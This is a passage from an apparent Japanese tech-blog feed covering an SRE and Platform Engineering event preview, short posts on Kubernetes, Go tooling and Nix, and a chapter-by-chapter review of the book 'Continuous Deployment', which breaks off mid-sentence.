Engineeringは、開発者の生産性向上と業務効率化の要となる重要な分野です。議論の中心となるのは、開発者体験(Developer Experience)向上の具体的な方策です。これには、内部プラットフォーム構築のケーススタディやセルフサービス化によるデベロッパーの生産性向上が含まれます。また、プラットフォームの標準化と柔軟性のバランスを取ることの重要性も探ります。これらのトピックについて理解を深めるため、以下の資料も参考にしてほしいです。cloud.google.com speakerdeck.comlearning.oreilly.com speakerdeck.com2.2 DevOpsDevOpsの実践は、開発と運用の壁を取り払い、より効率的なシステム運用を実現します。ここでは、開発と運用の統合によるメリットと課題、CI/CDの最新プラクティスと導入のポイントについて議論したいです。「You build it, you run it」原則の実践方法や、自動化とツール化の成功事例も重要なトピックとなります。これらの議論を深めるため、以下の資料も参考にしてほしいです。learning.oreilly.comlearning.oreilly.comcloud.google.comweb.devopstopologies.comwww.ryuzee.com speakerdeck.com2.3 CCoE(Cloud Center of Excellence)CCoEは、組織全体のクラウド活用を最適化し、ガバナンスを確立する上で重要な役割を果たします。クラウドベストプラクティスの確立と普及方法、マルチクラウド環境でのガバナンス戦略、クラウドコスト最適化の具体的アプローチなどが主要な議論のポイントとなります。これらのトピックについて、以下の資料も参考にしてほしいです。aws.amazon.comtechblog.ap-com.co.jpDXを成功に導くクラウド活用推進ガイド CCoEベストプラクティス作者:黒須 義一,酒井 真弓,遠山 陽介,伊藤 利樹,饒村 吉晴日経BPAmazonca-srg.dev2.4 SRE(Site Reliability Engineering)[おまけ]SREは、システムの信頼性を維持しながら、イノベーションを促進するための重要な概念です。SLI(Service Level Indicator)とSLO(Service Level Objective)の効果的な設定と運用、エラーバジェットの活用による信頼性とイノベーションのバランス管理について議論したいです。また、トイル(反復的な手作業)の削減戦略とその効果、インシデント管理とポストモーテムの実践についても触れる予定です。これらのトピックについて、以下の資料も参考にしてほしいです。www.oreilly.co.jp speakerdeck.com speakerdeck.comsyu-m-5151.hatenablog.com各セッションでの私は、これらの資料を参考にしつつ、最新の事例や実践的なアプローチについて議論を展開したいです。参加者の皆様にとって、自組織での適用に役立つ具体的な知見を得られる機会となることを期待しています。3. 大規模システムの効率的運用の課題と対策についての議論大規模システムを少人数で効率的に運用するには、技術面だけでなく組織面での工夫も重要です。このセッションでは、実際の運用現場で直面する課題とその対策について、私の経験から得た洞察を共有します。これらのトピックについても登壇者や参加者の皆さまと当日お話ができれば嬉しいです。当日はおそらく具体性の高いテーマについてそれぞれ話すと思うのですが、ここでは私のスタンスを決めておくために抽象的な話をしたいと思います。具体と抽象作者:細谷 功dZERO(インプレス)Amazonまた、人の具体的な技術や現場の話を聞く時のコツは相手がどのような立場の人間でどういう悩みをもっているか想像したり知ることで理解が深まります。この点について、コミュニケーションの観点からさらに掘り下げると、以下のような考察ができます。相手の立場や悩みを想像することで理解が深まるのは、各個人が独自の知識体系や思考の枠組みを持ち、認知バイアスの影響を受けているため、効果的なコミュニケーションには相手の考えや感情を推測する能力と自己の思考を客観視する能力が重要だからです。これらの点を意識することで、大規模システムの運用に関する議論や情報共有がより実りあるものになると考えています。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazon3.1 大規模システム運用の現実と組織的課題理想的な運用モデルと実際の運用現場のギャップについて考察したいです。理論と実践の乖離を埋めるための具体的なアプローチや、現場の声を活かした運用モデルの最適化事例を聞きたいです。また、少人数チームでの大規模システム運用における組織的な課題とその解決策を探りたいです。リソース制約下での効果的なタスク分配と優先順位付け、クロスファンクショナルスキルの育成による柔軟な人員配置などが重要なポイントとなります。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon3.2 効率的な運用を支える組織文化の構築HRT(Humility, Respect, Trust)原則を基盤とした少人数チームの強化方法について議論したいです。チーム内でのオープンなフィードバック文化の醸成や、相互理解と信頼関係を深めるためのチームビルディング活動の重要性を強調したいです。さらに、システム/サービスの価値を組織全体で共有するための効果的なコミュニケーション手法を探りたいです。定期的な全体会議やニュースレターを活用した情報共有、ビジュアライゼーションツールを用いたシステム価値の可視化などが具体的な方策となります。Team Geek ―Googleのギークたちはいかにしてチームを作るのか作者:Brian W. Fitzpatrick,Ben Collins-SussmanオライリージャパンAmazon3.3 段階的アプローチによる運用改善と組織変革スモールスタートの重要性と組織全体への展開方法を議論したいです。パイロットプロジェクトの選定と成功事例の横展開、段階的な改善プロセスの設計と各フェーズでの評価指標の設定などが重要です。また、少人数チームでの定点観測会の効果的な運営とステークホルダーマネジメントについて考察したいです。データ駆動型の定点観測会の実施方法と成果の可視化、ステークホルダーの期待値管理と効果的な報告体制の構築などが焦点となります。業務改革の教科書--成功率9割のプロが教える全ノウハウ (日本経済新聞出版)作者:白川克,榊巻亮日経BPAmazon3.4 大規模システムの効率的な運用設計と組織的活用少人数チームの生産性を向上させる運用設計の実践事例を聞きたいです。標準化されたプロセスとツールの導入によるチーム効率の向上、自動化を活用した日常的なオペレーションの効率化、チーム間のナレッジ共有を促進する仕組みづくりなどが重要なポイントです。また、組織の成長に合わせた運用設計の進化と最適化について議論したいです。スケーラブルな運用モデルの設計と段階的な導入方法、変化する事業ニーズに柔軟に対応できる運用設計のアプローチ、継続的な改善サイクルを組み込んだ運用設計プロセスの確立などが焦点となります。「変化を嫌う人」を動かす: 魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル草思社Amazon3.5 技術的改善の価値を組織全体で共有する方法「信頼性は会話です」という考え方を組織文化に組み込む実践例を聞きたいです。定期的な信頼性レビュー会議の実施と改善点の共有、チーム横断的な信頼性向上タスクフォースの設置などが具体的な方策となります。また、ITIL 4フレームワークを活用した組織横断的な価値創出事例を共有し、ITILのベストプラクティスを組織の特性に合わせてカスタマイズする方法やサービス価値システムの構築と継続的な最適化プロセスについて議論したいです。さらに、少人数チームの技術的改善を経営層に効果的に伝えるテクニックを探りたいです。ビジネス指標と技術指標を紐付けた改善効果の可視化、経営層向けダッシュボードの設計と定期的な報告会の実施などが重要なポイントとなります。【ITIL4公認】ITIL 4の基本 図解と実践作者:中 寛之日経BPAmazon3.6 継続的な改善を推進する組織体制の構築「始めるより続けることの方が難しい」という現実に対する組織的アプローチを議論したいです。長期的な改善ロードマップの設計と定期的な見直しプロセス、改善活動の成果を評価・表彰する仕組みの導入などが焦点となります。また、少人数チームでの理論、実践、モチベーションのバランスを保つ具体的な方法を探りたいです。学習と実践のサイクルを組み込んだ業務設計、チーム内でのスキルマトリクスの活用と成長機会の創出などが重要なポイントです。企業変革のジレンマ 「構造的無能化」はなぜ起きるのか作者:宇田川元一日経BPAmazon3.7 運用原則の組織への効果的な導入新しい運用原則の導入事例と組織全体への展開方法を聞きたいです。運用原則の核心的要素の段階的導入計画(例:SREの場合のエラーバジェット概念)、新しい運用文化の醸成とエンジニアリング組織全体への浸透策、様々な運用原則(SRE、DevOps、ITIL等)の基本概念を組織に適用する方法などが焦点となります。また、定量的指標を活用した組織的な意思決定プロセスについて議論し、サービスレベル目標(例:SLO)の設定プロセスとステークホルダーとの合意形成手法、リスクベースの優先順位付けと資源配分のための指標活用(例:エラーバジェット)などを探りたいです。さらに、インシデント管理と事後分析を組織の学習文化に組み込む方法を考察し、責任追及ではなく改善を重視する文化を醸成するための事後分析ガイドラインの策定、インシデントからの学びを組織知識として蓄積・活用するナレッジマネジメントシステムの構築などについて議論したいです。【改訂新版】システム障害対応の教科書作者:木村 誠明技術評論社Amazon大規模システムの効率的な運用は、技術と組織の両面からのアプローチが不可欠です。少人数チームでの運用という制約の中で、いかに組織の力を最大限に引き出し、システムの安定性と効率性を両立させるか。この課題に対する様々な視点と解決策について、参加者の皆様と活発な議論ができることを楽しみにしています。おわりにこのイベントが、大規模システムの効率的な運用に関する深い洞察と実践的な知見を共有される場となることを強く期待しています。Platform Engineering、DevOps、CCoE、SREの概念を適切に組み合わせ、各組織の特性に合わせてカスタマイズする方法について、参加者全員で活発な議論ができることを楽しみにしています。大規模システムの運用の正解は常に変化し続けるものです。このイベントでの学びを通じて、参加者それぞれが自社のシステム運用を見直し、改善していくきっかけになれば幸いです。登壇者の一人として、皆様と直接対話し、互いの経験や知見を共有できることを心から楽しみにしています。ぜひ多くの方にご参加いただき、一緒に大規模システムの効率的な運用について語り合いましょう!イベントの詳細や参加方法については、イベント公式ページをご確認ください。皆様のご参加を心よりお待ちしております。なお、このブログは私の思いつくままに書いたため、やや散文的になってしまいました。しかし、ここに記した考えや情報が、大規模システムの運用に関わる方々にとって何かしらの参考になれば幸いです。私自身、このイベントを通じてさらに学びを深め、より洗練された見解を得られることを楽しみにしています。www.youtube.com","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/15/101516","isoDate":"2024-10-15T01:15:16.000Z","dateMiliSeconds":1728954916000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"[Sidecar Containers] Pod Eviction 時のメッセージの改善","contentSnippet":"はじめに先日 Kubernetes で報告されていたバグを修正する PR を送りました。その時に、今後 Kubernetes へのコントリビュートを考えている方の参考になればと思い、どう取り組んだか (Issue の読み解き方やローカル環境での再現、コードの修正、テストの追加などの一通りの流れ) を脳内ダンプして言語化してみました。それを社内向けに共有していたのですが、PR も無事にマージされたので、一部加筆修正して記事として公開します。Issue: [Sidecar Containers] Eviction message should account for the sid...","link":"https://zenn.dev/toversus/articles/d78254ad757094","isoDate":"2024-10-14T07:39:56.000Z","dateMiliSeconds":1728891596000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"スリーシェイク、「Biz/Zine Day 2024 Autumn」に出展","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供するSRE総合支援サービス「Sreake(スリーク)」は、2024年10月30日(水) に開催される「Biz/Zine Day 2024 Autumn」にブース出展することをお知らせします。The post スリーシェイク、「Biz/Zine Day 2024 Autumn」に出展 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/biz-zine-day-2024-autumn/","isoDate":"2024-10-10T01:18:48.000Z","dateMiliSeconds":1728523128000,"authorName":"Sreake","authorId":"Sreake"},{"title":"FishでGoパッケージを一括更新したいのでワンライナー","contentSnippet":"はじめにGoプログラマーにとって、パッケージを最新の状態に保つことは重要な作業だ。しかし、複数のパッケージを個別に更新するのは時間がかかり、効率が悪い。そこで今回は、Fishシェルを使用してGoパッケージを一括更新する堅牢なワンライナーを紹介する。このワンライナーは、様々な環境設定に対応できる柔軟性を持ち、効率的にパッケージを更新できる強力なツールだ。ワンライナーの全容まずは、このワンライナーの全体像を見てみよう。set -l gobin (go env GOBIN); test -z \\"$gobin\\" && set gobin (go env GOPATH)/bin; for f in $gobin/*; if test -x $f; set pkg (go version -m $f | awk \'/mod /{print $2}\'); test -n \\"$pkg\\" && go install \\"$pkg@latest\\"; end; end一見複雑に見えるこのコマンドだが、実は論理的に構成された複数の処理の組み合わせである。以下、各部分の役割と動作原理を詳しく解説していく。ワンライナーの解剖dic.pixiv.net1. GOBINの設定と確認set -l gobin (go env GOBIN); test -z \\"$gobin\\" && set gobin (go env GOPATH)/bin;この部分は、Goバイナリのインストール先ディレクトリを特定する役割を果たす。set -l gobin (go env GOBIN):GOBINの値を取得し、ローカル変数gobinに格納する。test -z \\"$gobin\\" && set gobin (go env GOPATH)/bin:gobinが空の場合(つまりGOBINが設定されていない場合)、GOPATH/binをデフォルトとして使用する。この処理により、GOBINの設定の有無に関わらず適切なディレクトリを使用できる柔軟性を確保している。2. ディレクトリ内のファイル処理for f in $gobin/*; ...; end$gobinディレクトリ内の全ファイルに対してループ処理を行う。これにより、インストールされている全てのGoバイナリを対象に処理を実行できる。3. 実行可能ファイルの選別if test -x $f; ...; endtest -x $fで、ファイル$fが実行可能かどうかをチェックする。これにより、実行可能なバイナリファイルのみを処理対象とし、不要なファイルを除外している。4. パッケージ情報の抽出set pkg (go version -m $f | awk \'/mod /{print $2}\')go version -m $fコマンドでバイナリファイルのモジュール情報を取得し、awkコマンドを使用してパッケージ名を抽出する。この結果をpkg変数に格納する。5. パッケージの更新test -n \\"$pkg\\" && go install \\"$pkg@latest\\"pkg変数が空でないことを確認し、有効なパッケージ名が得られた場合のみgo install \\"$pkg@latest\\"を実行して最新バージョンにアップデートする。このワンライナーの利点環境適応性: GOBINの設定の有無に関わらず動作する。安全性: 実行可能ファイルのみを処理し、有効なパッケージ名が得られた場合のみ更新を試みる。効率性: 一行で全ての処理を完結させ、高速に実行できる。汎用性: 様々なGo開発環境で使用できる。使用上の注意点このワンライナーは、Fishシェル専用である。Bash等の他のシェルでは動作しない。GOPATHが正しく設定されていることを前提としている。大量のパッケージがある場合、実行に時間がかかる可能性がある。まとめ本記事で紹介したワンライナーは、Goプログラマーの日常的なタスクを大幅に簡略化し、開発環境を最新に保つ強力なツールとなる。環境設定の違いに柔軟に対応し、安全かつ効率的にパッケージを更新できる点が大きな魅力だ。このワンライナーを自分の開発フローに組み込むことで、常に最新のGoパッケージを使用した、より効率的で安全な開発が可能になる。ぜひ試してみてほしい。Goプログラミングの世界は日々進化している。このワンライナーを活用し、最新の機能や改善を逃さず、より良いコードを書く手助けとしてほしい。他にいい方法があればおしえてください。","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/09/180510","isoDate":"2024-10-09T09:05:10.000Z","dateMiliSeconds":1728464710000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"nix-shellでRを使う","contentSnippet":"NixはLinuxやUnix向けのパッケージマネージャーです。nix-env --install Rとしてグローバルに利用可能なRをインストールすることもできますが、nix-shell --package Rして一時的なR環境をbash上に構築することもできます。R本体やパッケージのバージョン指定も可能なので、プロジェクトごとにパッケージのバージョン指定が異なる場合や、グローバル環境にインストールしたパッケージとプロジェクト用パッケージで依存関係が衝突する場合に便利です。","link":"https://blog.atusy.net/2024/10/07/nix-shell-and-r/","isoDate":"2024-10-07T00:00:00.000Z","dateMiliSeconds":1728259200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"tinygo + koebitenを自作したGopherくん基板で動かしてみる","contentSnippet":"はじめにkoebiten はもともと ebiten というGoでゲームを作るためのライブラリを tinygo を利用してマイコン上で動くようにsago35さんが移植したものです。koebiten自体は現在sago35さんが設計されたキーボード基板(zero-kb02)で動くようになっていますが、これを改造して自分で作成しているGopherくん基板で動かしてみました。 koebitenの改造sago35さんが設計された zero-kb02 と僕のGopherくん基板ではHW構成や回路が異なります。まず zero-kb02 では rp2040-zero というマイコンを利用...","link":"https://zenn.dev/satoken/articles/tinygo-koebiten","isoDate":"2024-10-06T11:44:00.000Z","dateMiliSeconds":1728215040000,"authorName":"satoken","authorId":"satoken"},{"title":"スリーシェイク、Generative AI Summit Tokyo ’24 Fall に協賛","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post スリーシェイク、Generative AI Summit Tokyo ’24 Fall に協賛 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/generative-ai-summit-tokyo-24-fall/","isoDate":"2024-10-03T01:12:24.000Z","dateMiliSeconds":1727917944000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ポストCloud9?クラウドIDE CoderでPlatform Engineeringを実践する","contentSnippet":"はじめに こんにちは、Sreake事業部の志羅山です。 早いものでもう10月。私が住む長野県はもう朝晩の気温は10℃台となり、日中もとても過ごしやすい気候です。振り返ると今年の夏は天気も不安定で、とても暑い夏でしたね・・ […]The post ポストCloud9?クラウドIDE CoderでPlatform Engineeringを実践する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/platform-engineering-with-cloud-ide-coder/","isoDate":"2024-10-03T00:44:56.000Z","dateMiliSeconds":1727916296000,"authorName":"Sreake","authorId":"Sreake"},{"title":"BigQuery データキャンバスについて","contentSnippet":"はじめに こんにちは。Sreake事業部DBREチームのsenoです。10月に入り、暦の上では秋となりました。とはいえ夏の暑さはまだまだ続いておりますね。 最近は、気持ちだけでも秋を感じるために「〇〇の秋」と称して色々や […]The post BigQuery データキャンバスについて first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-bigquery-datacanvas/","isoDate":"2024-10-02T09:25:24.000Z","dateMiliSeconds":1727861124000,"authorName":"Sreake","authorId":"Sreake"},{"title":"いいぞいいぞと言われるnixをためしてる","contentSnippet":"NixはLinuxやUnix向けのパッケージマネージャーです。ぱっと5つメリットをあげるとこんなところでしょうか。様々なLinuxディストリビューションやmacOSで使える再現性がありロールバックも可能入れたいパッケージごとに依存関係を独立して管理するので、Aを入れるにはBのバージョンアップが必要みたいな問題が起きない特定のプロジェクト(ディレクトリ)ごとに使うパッケージを変えられる設定ファイルも含めた構成管理ソフトウェアとしても使える最近、スリーシェイクに転職して、職場のPCがmacOSになりました。以前は仕事もプライベートもmanjaro linuxで統一していたのでとりあえずparuを使えばよかったのですが、そうも言ってられないので、Nixを使ってみることにしました。","link":"https://blog.atusy.net/2024/10/02/trying-nix/","isoDate":"2024-10-02T00:00:00.000Z","dateMiliSeconds":1727827200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"継続的デプロイメントの継続的な学習 - Continuous Deployment の読書感想文","contentSnippet":"自動化は私の忍耐力の限界を補完してくれます。はじめに本書「Continuous Deployment」は、継続的デプロイメントの実践に焦点を当てた包括的なガイドです。継続的デプロイメントは、ソフトウェアパイプラインを完全に自動化し、手動介入を必要としない手法です。この方法により、クオリティーゲートを通過したすべてのコードコミットが自動的に本番環境にデプロイされます。私は、ソフトウェア開発の現場で、オンプレミスの手動デプロイから始まり、Makefileによる自動化、JenkinsやCircleCI、GitHub Actions、GitLab CI/CD、AWS CodePipeline、Cloud Build 、ArgoCD、PipeCDなど、様々なツールや手法を経験してきました。この過程で、継続的デプロイメントが開発プロセスを改善し、ビジネス価値を創出する様子を目の当たりにしました。継続的デプロイメントは、継続的インテグレーション(CI)と継続的デリバリー(CD)の実践をさらに進めたものです。CIは開発者のコード変更を頻繁にメインブランチに統合し、CDはそのコードをいつでもリリース可能な状態に保ちます。継続的デプロイメントでは、すべての変更が自動的に本番環境にデプロイされます。開発者がコードをメインブランチにプッシュまたはマージすると、自動化されたパイプラインがそのコードをビルド、テスト、本番環境へデプロイします。人間による最終承認のステップは存在せず、品質チェックをパスしたすべての変更が即座に本番環境に反映されます。Continuous Deployment: Enable Faster Feedback, Safer Releases, and More Reliable Software作者:Servile, ValentinaO\'Reilly MediaAmazon本書は、継続的デプロイメントの理論的基礎から実践的適用まで幅広く網羅しています。各章の概念や戦略は、業界の専門家たちの知見に基づいています。特に、フィーチャーフラグ、カナリーリリース、A/Bテストなどの手法は、現代のソフトウェア開発に不可欠です。継続的デプロイメントの価値は、ソフトウェア開発の特性と人間の性質を理解することで明確になります。ソフトウェア開発は多くの小規模で反復的なタスクの集合体です。例えば、設定ファイルの更新後のコード自動生成、コード変更後のビルドとテスト実行、テスト結果のレポート作成、リリース用ファイルの準備とパッケージングなどです。人間はこのような単調な反復作業を得意としません。創造的思考や問題解決には長けていますが、同じタスクを正確に繰り返すことは苦手です。時間とともに集中力が低下し、作業の精度も落ちます。一方、コンピューターシステムはこの種の反復作業に適しています。与えられた指示を疲れることなく、一定の精度で遂行できます。継続的デプロイメントは、人間と機械の特性の違いを活かし、相互補完的に活用します。コード変更から本番環境へのデプロイまでを完全に自動化することで、開発者は創造的な問題解決に注力でき、反復的なタスクはシステムに任せることができます。結果として、ソフトウェア開発プロセス全体の効率が向上し、人的ミスのリスクも減少します。本書は、技術的側面だけでなく、組織文化やチーム間の協力体制についても掘り下げています。また、継続的デプロイメントがもたらすソフトウェアのリリースサイクルの短縮や、ユーザーへのフィードバックループの最小化についても解説しています。同時に、この手法がコードの品質管理やテスト戦略により高い要求を課すことも重要です。本書では、強固な自動テスト、モニタリング、迅速なロールバック機能など、継続的デプロイメントを成功させるために不可欠な安全策についても説明しています。この本を通じて、継続的デプロイメントの本質を理解し、プロジェクトや組織に適用するための実践的なアイデアを得ることができます。以下に、私の読書体験と個人的な見解を交えた感想文を記します。この本は、継続的デプロイメントの理念と実践について詳しく解説しています。技術的な手法の説明だけでなく、ソフトウェア開発の本質と人間の特性を考慮した、効果的な開発プロセスの構築方法を提示しています。私自身、この本を通じて継続的デプロイメントの価値を再認識し、新たな視点を得ることができました。この本は、ソフトウェア開発の将来を示唆する重要な一冊だと確信しています。そのため、来年の「このSRE本がすごい!」にも追加したいと考えています。syu-m-5151.hatenablog.comこの本を通じて、継続的デプロイメントの意義を理解し、開発プロセスを改善するヒントを見出せることを願っています。I. Continuous DeploymentChapter 1. Continuous Deployment第1章「Continuous Deployment」は、継続的デプロイメントの基本概念から始まり、その歴史的背景、重要性、実践哲学、そして「効果的な」継続的デプロイメントの特性に至るまで、幅広いトピックをカバーしています。この章を通じて、継続的デプロイメントの本質と、それがソフトウェア開発においてどのような役割を果たすかを明確に示しています。継続的デプロイメントの進化と重要性ソフトウェア開発の歴史を振り返ることから始め、かつては月単位や年単位でリリースが行われていた時代から、現在の日次または週次リリースへの変遷を説明しています。この変化は、ビジネスニーズの変化に迅速に対応する必要性から生まれたものです。Figure 1-1. The typical path to production before the early 2000s より引用特に印象的だったのは、「If it hurts, do it more often:痛いなら、もっと頻繁にやればいい」というeXtreme Programming (XP)の原則です。この原則は、痛みを伴うプロセス(例えば、デプロイメント)を頻繁に行うことで、そのプロセスを改善し、最終的には痛みを軽減できるという考え方です。継続的デプロイメントの基本的な思想を表していると言えます。この原則は、私自身の経験とも非常に共鳴します。例えば、以前参加していたプロジェクトでは、月に1回の大規模なリリースが常にストレスフルで、多くのバグや障害を引き起こしていました。そこで、我々はリリース頻度を週1回に増やし、各リリースの規模を小さくしました。最初は大変でしたが、徐々にプロセスが改善され、最終的にはリリース作業が日常的な業務の一部になりました。これにより、バグの早期発見や迅速な修正が可能になり、システムの安定性が大幅に向上しました。DevOpsとの関連性DevOpsの概念と継続的デプロイメントの関係性についても詳しく説明しています。DevOpsは、開発(Dev)と運用(Ops)の壁を取り払い、両者の協力を促進する文化や実践を指します。継続的デプロイメントを実現する上で不可欠な要素です。DevOpsの実践は、継続的デプロイメントを支える重要な基盤となります。例えば、インフラストラクチャのコード化(Infrastructure as Code)は、環境の一貫性を保ち、デプロイメントの自動化を可能にします。また、モニタリングやロギングの改善は、迅速なフィードバックループを確立し、問題の早期発見と解決を支援します。私の経験から、DevOpsの実践は継続的デプロイメントの成功に不可欠だと強く感じています。以前、開発チームと運用チームが分断されていた組織で働いていましたが、デプロイメントの度に混乱が生じ、問題の解決に時間がかかっていました。DevOpsの原則を導入し、両チームが協力してデプロイメントパイプラインを設計・実装することで、プロセスが大幅に改善されました。特に、開発者が運用の視点を持ち、運用チームが開発プロセスを理解することで、より堅牢で管理しやすいシステムが構築できるようになりました。継続的インテグレーションと継続的デリバリー継続的インテグレーション(CI)と継続的デリバリー(CD)について詳しく説明し、これらが継続的デプロイメントの前身となる重要な実践であることを強調しています。CIは、開発者の変更を頻繁にメインブランチに統合する実践です。これにより、統合の問題を早期に発見し、修正することが可能になります。CDは、CIをさらに発展させ、ソフトウェアをいつでもリリース可能な状態に保つ実践です。この辺は読んだことがない場合にはこちらの書籍がおすすめである。Grokking Continuous Delivery (English Edition)作者:Wilson, ChristieManningAmazon日本語版もあるので入門 継続的デリバリー ―テストからリリースまでを安全に自動化するソフトウェアデリバリーのプロセス作者:Christie WilsonオライリージャパンAmazonこれらの説明は、経験してきたCIとCDの導入過程と非常に一致しています。例えば、以前のプロジェクトでは、開発者が長期間にわたって個別のブランチで作業し、統合時に大きな問題に直面することがよくありました。CIを導入し、小さな変更を頻繁に統合するようにしたことで、これらの問題は大幅に減少しました。CDの導入は、さらに大きな変化をもたらしました。以前は、リリース前の数日間を集中的なテストとバグ修正に費やしていましたが、CDを導入することで、ソフトウェアが常にリリース可能な状態を維持できるようになりました。これにより、リリースのストレスが大幅に軽減され、新機能や修正をより迅速にユーザーに届けられるようになりました。継続的デプロイメントの定義と実装継続的デプロイメントを「コミットがメインブランチにプッシュまたはマージされると、すべてのクオリティーゲートが緑色である限り、必ず本番デプロイメントが行われる」と定義しています。CI/CDの次の進化段階と言えるでしょう。Figure 1-2. The typical path to production today より引用継続的デプロイメントの実装は、一見シンプルに見えます。著者が説明するように、既存のCDパイプラインの本番デプロイメントステップを再構成するだけで済む場合が多いからです。しかし、これは技術的な実装の話で、課題は組織文化や開発プラクティスの変革にあります。私の経験から、継続的デプロイメントへの移行は技術的な課題よりも、組織的・文化的な課題の方が大きいと感じています。例えば、あるプロジェクトで継続的デプロイメントを導入しようとした際、技術的な準備は比較的容易でしたが、チームメンバーの不安やステークホルダーの抵抗に直面しました。特に、「本番環境に直接デプロイすることの危険性」や「品質管理の不安」といった懸念が大きかったです。これらの課題を克服するためには、段階的なアプローチと綿密なコミュニケーションが不可欠でした。まず、小規模なサービスから始めて成功事例を作り、徐々に規模を拡大していきました。また、自動テストの拡充や監視の強化を行い、問題が発生しても迅速に検知・対応できる体制を整えました。さらに、チーム全体でのレビュープロセスの改善や、フィーチャーフラグの活用など、コードの品質を担保するための施策も導入しました。継続的デプロイメントの影響と課題継続的デプロイメントの採用が開発プロセス全体に与える影響について詳しく説明しています。例えば、未完成のコードの隠蔽方法、後方互換性の確保、他の本番サービスとの契約の維持、デプロイメントとフィーチャーリリースの分離などの課題が挙げられています。これらの課題は、私の経験とも深く共鳴します。例えば、継続的デプロイメントを導入した際、未完成の機能をどのように本番環境に安全にデプロイするかが大きな課題となりました。この問題に対処するため、我々はフィーチャーフラグを積極的に活用し、コード自体は本番環境にデプロイしつつ、機能の有効化は制御できるようにしました。これにより、大規模な変更でも段階的なロールアウトが可能になり、リスクを最小限に抑えることができました。また、後方互換性の確保も重要な課題でした。特に、マイクロサービスアーキテクチャを採用している環境では、サービス間の整合性を維持することが不可欠です。この課題に対しては、APIのバージョニング戦略の導入や、コンシューマー駆動契約テスト(Consumer-Driven Contract Testing)の実施など、複数のアプローチを組み合わせて対応しました。継続的デプロイメントのリスクと安全性継続的デプロイメントのリスクについても率直に触れています。各変更が即座に本番環境に反映されるため、不適切な変更が複雑なサービス網に影響を与える可能性があります。このリスクへの対処は、重要な責務の一つです。私の経験では、以下のような戦略が効果的でした:段階的なロールアウト:カナリアリリースやブルー/グリーンデプロイメントを活用し、変更の影響を限定的に確認できるようにしました。自動ロールバック:問題が検出された場合に自動的に前のバージョンに戻すメカニズムを実装しました。高度な監視と警報:詳細なメトリクスの収集と、異常を即座に検知できる警報システムを構築しました。カオスエンジニアリング:意図的に障害を注入し、システムの回復力を継続的にテストしました。これらの施策により、継続的デプロイメントのリスクを大幅に軽減し、同時にシステムの信頼性と回復力を向上させることができました。結論継続的デプロイメントが単なる技術的な実装以上のもので、ソフトウェア開発プロセス全体の再考を要する実践であることを強調しています。継続的デプロイメントは、開発サイクルを劇的に短縮し、フィードバックループを最小化することで、ソフトウェア開発の効率と品質を大幅に向上させる可能性を秘めています。しかし、その実現には技術的な課題だけでなく、組織文化や開発プラクティスの根本的な変革が必要です。私の経験から、継続的デプロイメントの成功には複数の要素が不可欠だと考えています。まず、テスト、デプロイメント、監視のあらゆる面で強力な自動化を推進することが重要です。これにより、人為的ミスを減らし、プロセスの一貫性と速度を向上させることができます。次に、「本番環境に直接デプロイする」という責任を全員が理解し、高品質なコードを書くことへの強いコミットメントが必要です。これは単なる技術的スキルだけでなく、チーム全体の姿勢の問題でもあります。さらに、問題が発生した際に責任追及ではなく、システム改善の機会として捉える文化を醸成することが重要です。失敗から学び、それを今後の改善につなげる姿勢が、継続的な進歩を可能にします。最後に、デプロイメントプロセスや関連するプラクティスを常に見直し、改善し続けることが不可欠です。技術や環境の変化に合わせて、常にプロセスを最適化していく必要があります。継続的デプロイメントは、ソフトウェア開発の未来を象徴する実践です。その導入には多くの課題がありますが、適切に実装することで、開発効率の向上、市場投入までの時間短縮、そしてより高品質なソフトウェアの提供が可能になります。この章は、継続的デプロイメントの本質を理解し、その実践に向けた第一歩を踏み出すための貴重なガイドとなっています。Chapter 2. Benefits第2章「Benefits」は、継続的デプロイメントがもたらす利点について深く掘り下げています。継続的デプロイメントが単なる技術的な進歩ではなく、ソフトウェア開発プロセス全体を根本から変革する可能性を持つ実践であることを強調しています。この章を通じて、継続的デプロイメントがソフトウェア開発の効率性、品質、そして組織文化にどのような影響を与えるかが明確に示されています。リーン生産方式とOne-Piece Flow継続的デプロイメントの利点を説明するにあたり、まずリーン生産方式の概念から始めています。これは非常に興味深いアプローチだと感じました。ソフトウェア開発と製造業の類似性を指摘することで、継続的デプロイメントの本質的な価値がより明確になります。Figure 2-1. Batch and queue versus one-piece flow より引用特に印象的だったのは、One-Piece Flowの概念です。これは、大きなバッチ処理ではなく、一つの単位(この場合はコミット)ごとに処理を行うという考え方です。この概念がソフトウェア開発にも適用可能で、継続的デプロイメントこそがその実現方法だと主張しています。私の経験からも、この考え方は非常に有効だと感じています。以前、大規模なモノリシックアプリケーションの開発に携わっていた際、月に1回の大規模リリースが常に問題の種でした。バグの混入や、リリース後の予期せぬ問題の発生が頻繁に起こっていました。そこで、マイクロサービスアーキテクチャへの移行と同時に継続的デプロイメントを導入しました。結果として、各サービスが独立してデプロイできるようになり、One-Piece 